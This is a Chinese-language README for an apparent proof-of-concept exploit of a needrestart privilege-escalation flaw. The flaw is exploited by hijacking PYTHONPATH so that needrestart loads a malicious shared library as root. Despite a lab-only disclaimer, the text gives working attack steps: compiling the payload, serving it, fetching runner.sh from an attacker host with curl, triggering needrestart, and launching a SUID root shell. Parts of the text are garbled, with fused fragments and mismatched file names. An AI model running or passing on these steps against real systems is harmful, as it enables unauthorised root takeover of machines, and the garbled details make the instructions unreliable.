仅限实验室控制环境使用。未经明确授权,不得在生产系统上利用。此 PoC 仅用于教育目的。作者不对任何误用或未经授权的访问负责。
CVE-2024-4890 是 needrestart(版本 >= 3.8)中的一个严重漏洞,可导致以提升的权限执行任意代码。该问题源于进程扫描期间对环境变量和配置文件的不安全处理。
具体来说,当通过 sudo 运行时,needrestart 会检查正在运行的 Python 进程,包括它们的 PYTHONPATH 环境变量。攻击者可以通过设置自定义的 PYTHONPATH 指向受控目录(例如 /tmp/attacker)来劫持该变量。在该目录中,一个恶意模块(__init__.so)被放置在伪造的 importlib 结构中。当 needrestart 尝试以 root 身份导入它(以检查库)时,载荷执行,从而授予 root 访问权限。
此 PoC 通过诱饵 Python 进程、恶意共享库(由 C 编译)和自动化脚本演示该漏洞利用。
needrestart >= 3.8 且具有 sudo 访问权限的 Linux 系统。gcc(用于编译)、curl、python3。将这些文件放在目标机器上的 /tmp/attacker 中。
e.py:诱饵 Python 脚本(循环运行,等待载荷成功)。runner.sh:自动化脚本,用于设置并触发诱饵。lib.c 编译为 __init__.so 并托管它:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
目标机器(受害者):
/tmp/attacker 目录。main.pyrunner.sh 可执行:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
在一个终端中运行设置:
cd /tmp/attacker && ./runner.sh
这将创建恶意模块、诱饵脚本,并启动被劫持的 Python 进程。
sudo /usr/sbin/needrestartneedrestart 检测到诱饵进程,读取 PYTHONPATH,并以 root 身份导入恶意的 __init__.so——从而执行载荷。
runner.sh 终端):/tmp/poc(由载荷创建的 SUID root shell)并生成一个 root shell:
sudo /tmp/poc -p
清理:rm -rf /tmp/attacker /tmp/poc(如果添加了 sudoers 条目,也请移除)。成功标志:whoami 显示 root,或 id 显示 uid=0(root)。